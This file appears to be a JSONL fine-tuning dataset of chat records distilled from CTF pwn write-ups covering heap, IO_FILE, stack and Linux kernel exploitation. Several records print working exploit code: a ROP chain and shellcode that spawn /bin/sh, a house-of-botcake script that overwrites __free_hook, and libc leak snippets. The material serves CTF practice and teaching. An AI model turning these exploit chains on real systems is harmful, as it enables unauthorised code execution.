{"category": "io_file", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-a8f63820cdf3e0819396", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "请讲解 CTF pwn/二进制安全知识点「结论」。\n资料来源：IO-FILE/[CISCN 2022 华东北]duck/WP.md；主题：[CISCN 2022 华东北] duck - Pwn Writeup；分类：io_file。\n要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。", "role": "user"}, {"content": "## 结论\n\n这份 `exp.py` 使用的是 **UAF 泄漏 + Safe-Linking 下的 tcache poisoning + 劫持 libc `_IO_file_jumps` 跳转表触发 one_gadget** 的利用手法。\n\n核心不是传统的 `__free_hook` / `__malloc_hook`，而是在 glibc 2.34 环境下通过 tcache 任意地址分配把 chunk 申请到 `_IO_file_jumps`，覆盖其中的 `_IO_overflow` 函数指针；之后程序继续调用 `puts(\"Done\")` 时触发 stdout 的 FILE vtable 分发，跳转到 one_gadget 拿 shell。\n\n---", "role": "assistant"}], "metadata": {"category": "io_file", "ctf_score": 32, "ctf_task_type": "pwn", "original_id": "pwn101-doc-1eb40267dcb0df47", "original_line": 180, "original_split": "train", "record_type": "doc_section", "source_dataset": "pwn101_distilled_v1", "source_path": "IO-FILE/[CISCN 2022 华东北]duck/WP.md", "split": "train", "split_group_key": "8a82ea35d8808d6caff7e707"}, "source_dataset": "pwn101_distilled_v1", "source_path": "IO-FILE/[CISCN 2022 华东北]duck/WP.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "heap", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-a9610e6c058e585b9796", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "请讲解 CTF pwn/二进制安全知识点「so reallocating a freed chunk can leave old heap metadata after a short read.」。\n资料来源：Heap/2024ylb-ezheap/writeup.md；主题：2024ylb-ezheap；分类：heap。\n要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。", "role": "user"}, {"content": "# so reallocating a freed chunk can leave old heap metadata after a short read.\nadd(0x500, b'a')              # 0\nadd(0x500, b'/bin/sh\\x00')    # 1, argument for system()\nadd(0x500, b'a')              # 2, freed for unsorted-bin leak\nadd(0x500, b'a')              # 3\nadd(0x100, b'a')              # 4, guard/top separation", "role": "assistant"}], "metadata": {"category": "heap", "ctf_score": 30, "ctf_task_type": "pwn", "original_id": "pwn101-doc-454c396ecb1c1358", "original_line": 48, "original_split": "train", "record_type": "doc_section", "source_dataset": "pwn101_distilled_v1", "source_path": "Heap/2024ylb-ezheap/writeup.md", "split": "train", "split_group_key": "e6e49a34b13c4025336aabf4"}, "source_dataset": "pwn101_distilled_v1", "source_path": "Heap/2024ylb-ezheap/writeup.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "kernel", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-a97ecf1ee748e21b9612", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "请讲解 CTF pwn/二进制安全知识点「2026-07-25 update: pte-realloc-scan」。\n资料来源：Kernel/2026d3ctf-d3kheap2pro/XCACHE_RESULTS.md；主题：d3kheap2pro cross-cache / Dirty Pagetable experiment log；分类：kernel。\n要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。", "role": "user"}, {"content": "## 2026-07-25 update: pte-realloc-scan\n\nAdded mode:\n\n```sh\n/root/xcache_probe pte-realloc-scan  \n```\n\nSequence:\n\n```text\nalloc [0, used)\nfree [0, used) once\nspray PTE pages\nsecond-free stale [176, used)\nscan sprayed PTE pages\nfresh alloc [used, 512)\nscan again if still alive\n```\n\nRepresentative results under challenge-like 128M SMP4 boot:\n\n```text\nused=256, spray=128:\n  after_second_free_stale active_objs=120 num_objs=160 active_slabs=10 num_slabs=10\n  scan-before-alloc: ok=128 faults=0 mismatch=0\n  fresh alloc -> kmem_cache_alloc_noprof+0x252 GPF on non-canonical freelist pointer\n\nused=320, spray=128:\n  after_second_free_stale active_objs=120 num_objs=160 active_slabs=10 num_slabs=10\n  scan-before-alloc: ok=128 faults=0 mismatch=0\n  fresh alloc -> kmem_cache_alloc_noprof+0x252 GPF on non-canonical freelist pointer\n\nused=384, spray=64/128:\n  some runs complete with scan ok=64/128 faults=0 mismatch=0\n```\n\nInterpretation:\n\n- second-free after page recycling can enqueue a non-normal object/page into the d3k cache freelist;\n- fresh allocation can then decode attacker-influenced/non-slab contents as a freelist pointer and crash;\n- this confirms a stronger page-level overlap / allocator metadata corruption signal than the previous scan-only probe;\n- it is still not a root exploit because no controlled PTE entry corruption or stable kernel R/W has been achieved.", "role": "assistant"}], "metadata": {"category": "kernel", "ctf_score": 28, "ctf_task_type": "pwn", "original_id": "pwn101-doc-ced08f45c68ce470", "original_line": 383, "original_split": "train", "record_type": "doc_section", "source_dataset": "pwn101_distilled_v1", "source_path": "Kernel/2026d3ctf-d3kheap2pro/XCACHE_RESULTS.md", "split": "train", "split_group_key": "88b27da04fe7f89b23f165d9"}, "source_dataset": "pwn101_distilled_v1", "source_path": "Kernel/2026d3ctf-d3kheap2pro/XCACHE_RESULTS.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "stack", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-a9f6757d02350e8cdfbb", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "解释 `Stack/ret2vdso/ret2vdso.s` 这个 CTF pwn/kernel exploit 代码示例的结构。请指出运行环境、交互封装、泄漏/写入/触发阶段、关键常量，以及代码适合训练模型学习的模式。", "role": "user"}, {"content": "文件：`Stack/ret2vdso/ret2vdso.s`\n\n分类：stack\n\n语言：asm\n\n利用主题关键词：\n- seccomp/orw\n- stack/rop\n\n关键常量/偏移样例：\n`0xfffffff0`\n\n训练用代码片段：\n```asm\n;//    gcc -c ret2vdso.s -o ret2vdso.o -m32\n;//    ld -e _start -z noexecstack -melf_i386 ret2vdso.o -o ret2vdso\n\t.intel_syntax noprefix\n\t.text\n\t.comm\tbuf, 4096, 32\n\t.globl\t_start\n\t.type\t_start, @function\n_start:\n\txor ebp, ebp\n\tand esp, 0xfffffff0\n\tcall main\n\n\tmov ebx, eax\n\tmov eax, 1\n\tint 0x80\n\nread:\n    push ebp\n    mov ebp, esp\n\n    mov ebx, 8[ebp]\n    mov ecx, 12[ebp]\n    mov edx, 16[ebp]\n    mov eax, 3\n    int 0x80\n\n    mov esp, ebp\n    pop ebp\n    ret\n\nwrite:\n    push ebp\n    mov ebp, esp\n\n    mov ebx, 8[ebp]\n    mov ecx, 12[ebp]\n    mov edx, 16[ebp]\n    mov eax, 4\n    int 0x80\n\n    mov esp, ebp\n    pop ebp\n    ret\n\nmemcpy:\n\tpush\tebp\n\tmov\tebp, esp\n\tsub\tesp, 16\n\tmov\tDWORD PTR -4[ebp], 0\n\tjmp\t.L2\n.L3:\n\tmov\tedx, DWORD PTR -4[ebp]\n\tmov\teax, DWORD PTR 12[ebp]\n\tadd\teax, edx\n\tmov\tecx, DWORD PTR -4[ebp]\n\tmov\tedx, DWORD PTR 8[ebp]\n\tadd\tedx, ecx\n\tmovzx\teax, BYTE PTR [eax]\n\tmov\tBYTE PTR [edx], al\n\tadd\tDWORD PTR -4[ebp], 1\n.L2:\n\tmov\teax, DWORD PTR -4[ebp]\n\tcmp\tDWORD PTR 16[ebp], eax\n\tja\t.L3\n\tleave\n\tret\n\nmain:\n\tpush ebp\n\tmov\tebp, esp\n\tsub\tesp, 128\n\tlea\teax, buf\n\tpush 4096\n\tpush eax\n\tpush 0\n\tmov\teax, 0\n\tcall\tread\n    add esp, 12\n\n\tmov esi, eax\n\n\tpush esi\n\tlea eax, buf\n    push eax\n\tlea eax, -128[ebp]\n\tpush eax\n\tcall memcpy\n\tadd esp, 12\n\n    lea eax, -128[ebp]\n\tpush esi\n    push eax\n    push 1\n\tmov\teax, 0\n\tcall\twrite\n    add esp, 12\n\n\tmov\teax, 0\n    mov esp, ebp\n    pop ebp\n\tret\n```", "role": "assistant"}], "metadata": {"category": "stack", "ctf_score": 28, "ctf_task_type": "pwn", "original_id": "pwn101-code-13faaf2f48be2ce8", "original_line": 567, "original_split": "train", "record_type": "code_explanation", "source_dataset": "pwn101_distilled_v1", "source_path": "Stack/ret2vdso/ret2vdso.s", "split": "train", "split_group_key": "14964d3e01ed5d9cad3a950b"}, "source_dataset": "pwn101_distilled_v1", "source_path": "Stack/ret2vdso/ret2vdso.s", "split": "train", "type": "ctf_lora_sft"}
{"category": "io_file", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-aaa2724cf109325e99da", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "请讲解 CTF pwn/二进制安全知识点「题目信息」。\n资料来源：IO-FILE/2025hgame hit list/WP.md；主题：2025 HGame - Hit list Writeup；分类：io_file。\n要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。", "role": "user"}, {"content": "## 题目信息\n\n附件包含：\n\n```text\nvuln\nlibc.so.6\nexp.py\n```\n\n保护情况：\n\n```text\nArch:       amd64-64-little\nRELRO:      Full RELRO\nStack:      Canary found\nNX:         NX enabled\nPIE:        PIE enabled\nSHSTK:      Enabled\nIBT:        Enabled\nStripped:   No\n```\n\n题目是一个菜单堆题，功能如下：\n\n```text\n1. Add note\n2. Delete note\n3. Edit note\n4. Show note\n5. Exit\n```\n\n本地验证命令：\n\n```bash\npython3 exp.py TEST\n```\n\n成功输出：\n\n```text\n__HIT_LIST_PWNED__\nuid=0(root) gid=0(root) ...\nmemory exhausted\n```\n\n---", "role": "assistant"}], "metadata": {"category": "io_file", "ctf_score": 34, "ctf_task_type": "pwn", "original_id": "pwn101-doc-2578e703129b65fa", "original_line": 165, "original_split": "train", "record_type": "doc_section", "source_dataset": "pwn101_distilled_v1", "source_path": "IO-FILE/2025hgame hit list/WP.md", "split": "train", "split_group_key": "510c80802c5c6c353196ef42"}, "source_dataset": "pwn101_distilled_v1", "source_path": "IO-FILE/2025hgame hit list/WP.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "stack", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-aada9aed3cb1e5c50deb", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "解释 `Stack/ret2shellcode/shellcode_limit/demo.c` 这个 CTF pwn/kernel exploit 代码示例的结构。请指出运行环境、交互封装、泄漏/写入/触发阶段、关键常量，以及代码适合训练模型学习的模式。", "role": "user"}, {"content": "文件：`Stack/ret2shellcode/shellcode_limit/demo.c`\n\n分类：stack\n\n语言：c\n\n环境/依赖线索：\n- `#include`\n- `#include`\n\n函数/封装：\n- `main`\n\n利用主题关键词：\n- seccomp/orw\n- stack/rop\n\n训练用代码片段：\n```c\n#include\n#include\n\nunsigned char shellcode[] = \\\n\"\\x50\\x48\\x31\\xd2\\x48\\xbb\\x2f\\x62\\x69\\x6e\\x2f\\x2f\\x73\\x68\\x53\\x54\\x5f\\xb0\\x3b\\x0f\\x05\";\n\nint main() {\nint (*ret)() = (int(*)())shellcode;\nret();\nreturn 0;\n}\n```", "role": "assistant"}], "metadata": {"category": "stack", "ctf_score": 28, "ctf_task_type": "pwn", "original_id": "pwn101-code-d6b23d60c7692f24", "original_line": 552, "original_split": "train", "record_type": "code_explanation", "source_dataset": "pwn101_distilled_v1", "source_path": "Stack/ret2shellcode/shellcode_limit/demo.c", "split": "train", "split_group_key": "40347e325296e20492da33b5"}, "source_dataset": "pwn101_distilled_v1", "source_path": "Stack/ret2shellcode/shellcode_limit/demo.c", "split": "train", "type": "ctf_lora_sft"}
{"category": "heap", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-ab42cfd0c3adf5a62f3e", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "解释 `Heap/tcache attack/house of io/pwn.c` 这个 CTF pwn/kernel exploit 代码示例的结构。请指出运行环境、交互封装、泄漏/写入/触发阶段、关键常量，以及代码适合训练模型学习的模式。", "role": "user"}, {"content": "文件：`Heap/tcache attack/house of io/pwn.c`\n\n分类：heap\n\n语言：c\n\n环境/依赖线索：\n- `#include`\n- `#include `\n- `#include `\n\n函数/封装：\n- `add_chunk`\n- `delete_chunk`\n- `edit_chunk`\n- `get_num`\n- `main`\n- `menu`\n- `show_chunk`\n\n利用主题关键词：\n- heap/tcache\n- seccomp/orw\n\n关键常量/偏移样例：\n`0x100`\n\n训练用代码片段：\n```c\n#include\n#include \n#include \n\nchar *chunk_list[0x100];\n\nvoid menu() {\n    puts(\"1. add chunk\");\n    puts(\"2. delete chunk\");\n    puts(\"3. edit chunk\");\n    puts(\"4. show chunk\");\n    puts(\"5. exit\");\n    puts(\"choice:\");\n}\n\nint get_num() {\n    char buf[0x10];\n    read(0, buf, sizeof(buf));\n    return atoi(buf);\n}\n\nvoid add_chunk() {\n    puts(\"index:\");\n    int index = get_num();\n    puts(\"size:\");\n    int size = get_num();\n    chunk_list[index] = malloc(size);\n}\n\nvoid delete_chunk() {\n    puts(\"index:\");\n    int index = get_num();\n    free(chunk_list[index]);\n}\n\nvoid edit_chunk() {\n    puts(\"index:\");\n    int index = get_num();\n    puts(\"length:\");\n    int length = get_num();\n    puts(\"content:\");\n    read(0, chunk_list[index], length);\n}\n\nvoid show_chunk() {\n    puts(\"index:\");\n    int index = get_num();\n    puts(chunk_list[index]);\n}\n\nint main() {\n    setbuf(stdin, NULL);\n    setbuf(stdout, NULL);\n    setbuf(stderr, NULL);\n\n    while (1) {\n        menu();\n        switch (get_num()) {\n            case 1:\n                add_chunk();\n                break;\n            case 2:\n                delete_chunk();\n                break;\n            case 3:\n                edit_chunk();\n                break;\n            case 4:\n                show_chunk();\n                break;\n            case 5:\n                exit(0);\n            default:\n                puts(\"invalid choice.\");\n        }\n    }\n}\n```", "role": "assistant"}], "metadata": {"category": "heap", "ctf_score": 28, "ctf_task_type": "pwn", "original_id": "pwn101-code-d6f74845bbe2954d", "original_line": 31, "original_split": "train", "record_type": "code_explanation", "source_dataset": "pwn101_distilled_v1", "source_path": "Heap/tcache attack/house of io/pwn.c", "split": "train", "split_group_key": "4138b3e61efd4313be42bbd3"}, "source_dataset": "pwn101_distilled_v1", "source_path": "Heap/tcache attack/house of io/pwn.c", "split": "train", "type": "ctf_lora_sft"}
{"category": "stack", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-ab4e208ab49155e65bed", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "解释 `Stack/ret2syscall/x64/[CISCN 2023 初赛]烧烤摊儿/exp.py` 这个 CTF pwn/kernel exploit 代码示例的结构。请指出运行环境、交互封装、泄漏/写入/触发阶段、关键常量，以及代码适合训练模型学习的模式。", "role": "user"}, {"content": "文件：`Stack/ret2syscall/x64/[CISCN 2023 初赛]烧烤摊儿/exp.py`\n\n分类：stack\n\n语言：python\n\n环境/依赖线索：\n- `from pwn import *`\n\n利用主题关键词：\n- stack/rop\n\n关键常量/偏移样例：\n`0x4E60F0`, `0x0000000000402404`, `0x000000000040264f`, `0x000000000040a67e`, `0x00000000004a404a`\n\n训练用代码片段：\n```python\nfrom pwn import *\n\nio=process(\"./shaokao\")\n#io=remote(\"node4.anna.nssctf.cn\",28662)\n\ncontext.log_level=\"debug\"\n\nio.sendline(b'1')\nio.sendline(b'1')\nio.sendline(b'-10000')\nio.sendline(b'4')\nio.sendline(b'5')\n\nname=0x4E60F0\nrax_rdx_rbx=0x00000000004a404a #: pop rax ; pop rdx ; pop rbx ; ret\nrdi=0x000000000040264f #: pop rdi ; ret\nrsi=0x000000000040a67e #: pop rsi ; ret\nsyscall=0x0000000000402404 #: syscall\npadding=b'A'*(0x20)\n\npayload=b'/bin/sh\\x00'+padding+p64(rax_rdx_rbx)+p64(0x3b)+p64(0)+p64(0)+p64(rdi)+p64(name)+p64(rsi)+p64(0)+p64(syscall)\n\nio.sendline(payload)\n\nio.interactive()\n```", "role": "assistant"}], "metadata": {"category": "stack", "ctf_score": 30, "ctf_task_type": "pwn", "original_id": "pwn101-code-b2b632ce450325c8", "original_line": 555, "original_split": "train", "record_type": "code_explanation", "source_dataset": "pwn101_distilled_v1", "source_path": "Stack/ret2syscall/x64/[CISCN 2023 初赛]烧烤摊儿/exp.py", "split": "train", "split_group_key": "01718970dff76d5864f94f76"}, "source_dataset": "pwn101_distilled_v1", "source_path": "Stack/ret2syscall/x64/[CISCN 2023 初赛]烧烤摊儿/exp.py", "split": "train", "type": "ctf_lora_sft"}
{"category": "kernel", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-abcc5032d140977a5396", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "请讲解 CTF pwn/二进制安全知识点「通过 find_msg 定位消息」。\n资料来源：Kernel/2022ciscn-cactus/wp.md；主题：CISCN 2022 西南赛区半决赛 cactus WP；分类：kernel。\n要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。", "role": "user"}, {"content": "#### 通过 find_msg 定位消息\n\n```c\nstatic struct msg_msg *find_msg(struct msg_queue *msq, long *msgtyp, int mode)\n{\n    struct msg_msg *msg, *found = NULL;\n    long count = 0;\n\n    list_for_each_entry(msg, &msq->q_messages, m_list) {\n        if (testmsg(msg, *msgtyp, mode) &&\n            !security_msg_queue_msgrcv(&msq->q_perm, msg, current,\n                           *msgtyp, mode)) {\n            if (mode == SEARCH_LESSEQUAL && msg->m_type != 1) {\n                *msgtyp = msg->m_type - 1;\n                found = msg;\n            } else if (mode == SEARCH_NUMBER) {\n                if (*msgtyp == count)\n                    return msg;\n            } else {\n                return msg;\n            }\n            count++;\n        }\n    }\n\n    return found ?: ERR_PTR(-EAGAIN);\n}\n```\n\n`list_for_each_entry` 会遍历以 `msg_queue` 为头节点的双向循环链表，也就是遍历所有消息节点。随后 `testmsg()` 会根据 `mode` 和 `msgtyp` 进行筛选：\n\n```c\nstatic int testmsg(struct msg_msg *msg, long type, int mode)\n{\n    switch (mode) {\n    case SEARCH_ANY:\n    case SEARCH_NUMBER:\n        return 1;\n    case SEARCH_LESSEQUAL:\n        if (msg->m_type <= type)\n            return 1;\n        break;\n    case SEARCH_EQUAL:\n        if (msg->m_type == type)\n            return 1;\n        break;\n    case SEARCH_NOTEQUAL:\n        if (msg->m_type != type)\n            return 1;\n        break;\n    }\n    return 0;\n}\n```\n\n`mode` 由 `convert_mode()` 决定：\n\n```c\nstatic inline int convert_mode(long *msgtyp, int msgflg)\n{\n    if (msgflg & MSG_COPY)\n        return SEARCH_NUMBER;\n\n    if (*msgtyp == 0)\n        return SEARCH_ANY;\n    if (*msgtyp < 0) {\n        if (*msgtyp == LONG_MIN)\n            *msgtyp = LONG_MAX;\n        else\n            *msgtyp = -*msgtyp;\n        return SEARCH_LESSEQUAL;\n    }\n    if (msgflg & MSG_EXCEPT)\n        return SEARCH_NOTEQUAL;\n    return SEARCH_EQUAL;\n}\n```\n\n| `msgtyp` | `mode` | 效果 |\n| --- | --- | --- |\n| `< 0` | `SEARCH_LESSEQUAL` | 找到 `msg->m_type <= abs(msgtyp)` 且类型最合适的消息。 |\n| `= 0` | `SEARCH_ANY` | 找到消息队列中的第一条消息。 |\n| `> 0` | `SEARCH_EQUAL` / `SEARCH_NOTEQUAL` | 找到第一条 `m_type` 等于或不等于 `msgtyp` 的消息。 |\n\n当 `MSG_COPY` 置位时，`mode` 为 `SEARCH_NUMBER`，`find_msg()` 返回双向循环链表中的第 `msgtyp` 条消息。此时 `msgtyp` 不再作为消息类型，而是作为消息序号。", "role": "assistant"}], "metadata": {"category": "kernel", "ctf_score": 30, "ctf_task_type": "pwn", "original_id": "pwn101-doc-2d09d88bae12c471", "original_line": 336, "original_split": "train", "record_type": "doc_section", "source_dataset": "pwn101_distilled_v1", "source_path": "Kernel/2022ciscn-cactus/wp.md", "split": "train", "split_group_key": "965eb079ac1d2a6539e8dac3"}, "source_dataset": "pwn101_distilled_v1", "source_path": "Kernel/2022ciscn-cactus/wp.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "kernel", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-ac17168731f1e099eaca", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "请讲解 CTF pwn/二进制安全知识点「Validation result」。\n资料来源：Kernel/2026d3ctf-d3kheap2pro/EXP.md；主题：d3kheap2pro exploit notes；分类：kernel。\n要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。", "role": "user"}, {"content": "## Validation result\n\nThe official-route exploit is **not stable on this pro kernel as-is**. The local kernel enables mitigations that the public d3kheap2 route explicitly did not rely on being enabled:\n\n```text\nCONFIG_MEMCG=y\nCONFIG_SLAB_BUCKETS=y\nCONFIG_RANDOM_KMALLOC_CACHES=y\n```\n\nObserved QEMU results under the challenge-like 128M boot:\n\n| D3K slots | msg queues | result |\n|---:|---:|---|\n| `0x100` | `0x400` | OOM/panic at evil `msg_msg` spray |\n| `0x100` | `0x200`-`0x260` | runs, but fails to create cross-cache UAF |\n| `0x180` | `0x220`-`0x240` | runs, but fails to create cross-cache UAF |\n| `0x180` | `0x260` | OOM killer kills exp |\n| `0x200` | `0x260` | reaches allocator corruption / fatal `__kmalloc_noprof` path |\n\nSo `exp.c` is a useful official-route port/reference, but not yet a solved root exploit for the pro variant.", "role": "assistant"}], "metadata": {"category": "kernel", "ctf_score": 28, "ctf_task_type": "pwn", "original_id": "pwn101-doc-c9a865afdcae4dc8", "original_line": 362, "original_split": "train", "record_type": "doc_section", "source_dataset": "pwn101_distilled_v1", "source_path": "Kernel/2026d3ctf-d3kheap2pro/EXP.md", "split": "train", "split_group_key": "a4e60a6c103ca48924c766ea"}, "source_dataset": "pwn101_distilled_v1", "source_path": "Kernel/2026d3ctf-d3kheap2pro/EXP.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "heap", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-ac3d951cc7b2b93770d7", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "请讲解 CTF pwn/二进制安全知识点「house of botcake」。\n资料来源：Heap/heap exploit.md；主题：define TCACHE_MAX_BINS                64；分类：heap。\n要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。", "role": "user"}, {"content": "#### house of botcake\n\n同一个 chunk 释放到 tcache 和 unsorted bin 中。释放在 unsorted bin 的 chunk 借助堆块合并改变大小。相对于上一个方法，这个方法的好处是一次 double free 可以多次使用，因为控制同一块内存的 chunk 大小不同。\n\n```python\nfrom pwn import *\n\nelf = ELF(\"./pwn\")\nlibc = ELF(\"./libc.so.6\")\ncontext(arch=elf.arch, os=elf.os)\ncontext.log_level = 'debug'\n\np = process([elf.path])\n\ndef add_chunk(index, size):\n    p.sendafter(\"choice:\", \"1\")\n    p.sendafter(\"index:\", str(index))\n    p.sendafter(\"size:\", str(size))\n\ndef delete_chunk(index):\n    p.sendafter(\"choice:\", \"2\")\n    p.sendafter(\"index:\", str(index))\n\ndef edit_chunk(index, content):\n    p.sendafter(\"choice:\", \"3\")\n    p.sendafter(\"index:\", str(index))\n    p.sendafter(\"length:\", str(len(content)))\n    p.sendafter(\"content:\", content)\n\ndef show_chunk(index):\n    p.sendafter(\"choice:\", \"4\")\n    p.sendafter(\"index:\", str(index))\n\nadd_chunk(0, 0x410)\nadd_chunk(1, 0x10)\ndelete_chunk(0)\nadd_chunk(0, 0x410)\nshow_chunk(0)\nlibc.address = u64(p.recvuntil('\\x7F')[-6:].ljust(8, '\\x00')) - 0x3b6be0\ninfo(\"libc base: \" + hex(libc.address))\nfor i in range(10):\n    add_chunk(i, 0x200)\nfor i in range(7):\n    delete_chunk(i)\ndelete_chunk(8)\ndelete_chunk(7)\nadd_chunk(0, 0x200)\ndelete_chunk(8)\nadd_chunk(7, 0x410)\nedit_chunk(7, 'a' * 0x210 + p64(libc.sym['__free_hook']))\nadd_chunk(0, 0x200)\nadd_chunk(0, 0x200)\nedit_chunk(0,p64(libc.sym['system']))\nedit_chunk(2,'/bin/sh\\x00')\ndelete_chunk(2)", "role": "assistant"}], "metadata": {"category": "heap", "ctf_score": 28, "ctf_task_type": "pwn", "original_id": "pwn101-doc-35febc5cce202022", "original_line": 67, "original_split": "train", "record_type": "doc_section", "source_dataset": "pwn101_distilled_v1", "source_path": "Heap/heap exploit.md", "split": "train", "split_group_key": "4c4ea4658bfacb6635af88e2"}, "source_dataset": "pwn101_distilled_v1", "source_path": "Heap/heap exploit.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "kernel", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-aca323f8000e51f4f2a1", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "解释 `Kernel/QWB2018-core/start.sh` 这个 CTF pwn/kernel exploit 代码示例的结构。请指出运行环境、交互封装、泄漏/写入/触发阶段、关键常量，以及代码适合训练模型学习的模式。", "role": "user"}, {"content": "文件：`Kernel/QWB2018-core/start.sh`\n\n分类：kernel\n\n语言：bash\n\n训练用代码片段：\n```bash\n#!/bin/bash\n\nqemu-system-x86_64 \\\n  -m 256M \\\n  -kernel ./bzImage \\\n  -initrd  ./core.cpio \\\n  -append \"root=/dev/ram rw console=ttyS0 oops=panic panic=1 quiet kaslr\" \\\n  -netdev user,id=t0, -device e1000,netdev=t0,id=nic0 \\\n  -nographic  \\\n  -s\n```", "role": "assistant"}], "metadata": {"category": "kernel", "ctf_score": 28, "ctf_task_type": "pwn", "original_id": "pwn101-code-955e04a6a96be4f7", "original_line": 322, "original_split": "train", "record_type": "code_explanation", "source_dataset": "pwn101_distilled_v1", "source_path": "Kernel/QWB2018-core/start.sh", "split": "train", "split_group_key": "c9a4b0356e2b57a14bec03fd"}, "source_dataset": "pwn101_distilled_v1", "source_path": "Kernel/QWB2018-core/start.sh", "split": "train", "type": "ctf_lora_sft"}
{"category": "io_file", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-ad2d5d84011c49bf2d50", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "请讲解 CTF pwn/二进制安全知识点「2. libc leak from unsorted bin」。\n资料来源：IO-FILE/[CISCN 2022 华东北]duck/WP.md；主题：[CISCN 2022 华东北] duck - Pwn Writeup；分类：io_file。\n要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。", "role": "user"}, {"content": "# 2. libc leak from unsorted bin\nfor _ in range(9):\n    add()\nfor i in range(1, 9):\n    dele(i)\n\nshow(8)\nlibc_leak = leak_after_show()\nlibc_base = u64(libc_leak.ljust(8, b\"\\x00\")) - 0x1f2cc0\nlog.success(f\"libc_base = {libc_base:#x}\")", "role": "assistant"}], "metadata": {"category": "io_file", "ctf_score": 32, "ctf_task_type": "pwn", "original_id": "pwn101-doc-fcc02d5ac8532086", "original_line": 190, "original_split": "train", "record_type": "doc_section", "source_dataset": "pwn101_distilled_v1", "source_path": "IO-FILE/[CISCN 2022 华东北]duck/WP.md", "split": "train", "split_group_key": "8a82ea35d8808d6caff7e707"}, "source_dataset": "pwn101_distilled_v1", "source_path": "IO-FILE/[CISCN 2022 华东北]duck/WP.md", "split": "train", "type": "ctf_lora_sft"}
